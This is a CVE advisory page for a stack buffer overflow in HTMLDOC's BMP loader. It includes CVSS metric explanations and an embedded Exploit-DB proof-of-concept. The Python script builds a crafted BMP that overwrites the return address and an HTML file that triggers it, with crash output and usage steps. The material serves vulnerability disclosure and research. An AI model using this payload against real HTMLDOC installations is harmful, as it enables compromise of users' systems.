CVE-2021-43579 : Detail

CVE-2021-43579

7.8
/
High
Overflow
5.89%V4
Local
2021-11-12
16h49 +00:00
2022-02-26
12h06 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A stack-based buffer overflow in image_load_bmp() in HTMLDOC <= 1.9.13 results in remote code execution if the victim converts an HTML document linking to a crafted BMP file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 52425

Publication date : 2025-09-15 22h00 +00:00
Author : wulfgarpro
EDB Verified : No

#!/usr/bin/env python3 # Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow # Google Dork: N/A # Date: 2025-08-26 # Exploit Author: wulfgarpro # Vendor Homepage: https://github.com/michaelrsweet/htmldoc # Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13 # Version: <= 1.9.13 # Tested on: Linux x86_64 # CVE: CVE-2021-43579 # ============================================================================== # # ------------------------------------------------------------------------------ # Summary # ------------------------------------------------------------------------------ # HTMLDOC's BMP reader (`image_load_bmp`) uses a fixed-size stack buffer for # the colour palette: 256 * 4 = 1024 bytes. # # The `image_load_bmp` function advances past the 14-byte BITMAPFILEHEADER and # parses the BITMAPINFOHEADER. The attacker-controlled `biClrUsed` field is read # into an `int` and then directly drives the number of colour palette bytes # copied into the 1024-byte stack buffer: # # ```c # int colors_used; # uchar colormap[256][4]; // 1024 bytes # colors_used = (int)read_dword(fp); // biClrUsed # fread(colormap, (size_t)colors_used, 4, fp); # ``` # # A fix in v1.9.13 only rejected `colors_used > 256`. Negative values are not # rejected. A negative `colors_used` (e.g. `biClrUsed = 0xffffffff == -1`) is # cast to `size_t` (wraps to `SIZE_MAX`), so `fread` is asked to copy a huge # amount into the 1024-byte buffer. # # `fread(ptr, size, nmemb, ...)` copies `size * nmemb` bytes. Here the call # requests `colors_used * 4` bytes. With `biClrUsed = 0xffffffff` (-1), # `(size_t)colors_used` becomes `SIZE_MAX`, so the call requests an enormous # read (`size=SIZE_MAX, nmemb=4`). In practice `fread` writes however many bytes # are available; with our 1088-byte payload it overflows the 1024-byte buffer by # 64 bytes: # # Payload layout: # # * 1080 'A' bytes: fill the 1024-byte stack buffer and a further 56 bytes. # * 8 'B' bytes: land on the saved return address on x86_64, producing # `RIP = 0x4242424242424242`. # # Example crash without _FORTIFY_SOURCE / stack protector: # # ```sh # ► 0 0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615 # 1 0x4242424242424242 None # 2 0x1 None # 3 0x55a5d5e0 None # 4 0x555555a9ffa0 None # 5 0x555500000000 None # 6 0x5555555a989c None # 7 0x555555a5d5e0 _htmlGlyphs # ``` # # With `_FORTIFY_SOURCE=2`, overflow is detected: # # ```sh # *** buffer overflow detected ***: terminated # # Program received signal SIGABRT, Aborted. # # ► 0 0x7ffff749894c None # 1 0x7ffff743e410 raise+32 # 2 0x7ffff742557a abort+38 # 3 0x7ffff7426613 None # 4 0x7ffff7526319 None # 5 0x7ffff7525c84 None # 6 0x7ffff7526565 __fread_chk+389 # 7 0x5555555930d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346 # ``` # # ------------------------------------------------------------------------------ # Usage # ------------------------------------------------------------------------------ # 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py` # 1. Trigger via HTMLDOC: `htmldoc --webpage -f out.pdf poc.html` # ------------------------------------------------------------------------------ # 14-byte BITMAPFILEHEADER BITMAPFILEHEADER = ( b"\x42\x4d" # bfType b"\x00\x00\x00\x00" # bfSize b"\x00\x00" # bfReserved1 b"\x00\x00" # bfReserved2 b"\x00\x00\x00\x00" # bfOffBits ) # 40-byte BITMAPINFOHEADER BITMAPINFOHEADER = ( b"\x00\x00\x00\x00" # biSize b"\x01\x00\x00\x00" # biWidth = 0x00000001 (1) b"\x01\x00\x00\x00" # biHeight = 0x00000001 (1) b"\x00\x00" # biPlanes b"\x00\x00" # biBitCount b"\x00\x00\x00\x00" # biCompression b"\x00\x00\x00\x00" # biSizeImage b"\x00\x00\x00\x00" # biXPelsPerMeter b"\x00\x00\x00\x00" # biYPelsPerMeter b"\xff\xff\xff\xff" # biClrUsed = 0xffffffff (-1) b"\x00\x00\x00\x00" # biClrImportant ) PAYLOAD = b"A" * 1080 # cyclic: uaakvaak PAYLOAD += b"B" * 8 # RIP overwrite def generate_poc_bmp(): with open("poc.bmp", "+wb") as poc_bmp: poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD) def generate_poc_html(): with open("poc.html", "+w") as poc_html: poc_html.write("<html><img src='./poc.bmp'/></html>") if __name__ == "__main__": generate_poc_bmp() generate_poc_html()

Products Mentioned

Configuraton 0

Htmldoc_project>>Htmldoc >> Version To (including) 1.9.13

Configuraton 0

Debian>>Debian_linux >> Version 9.0

References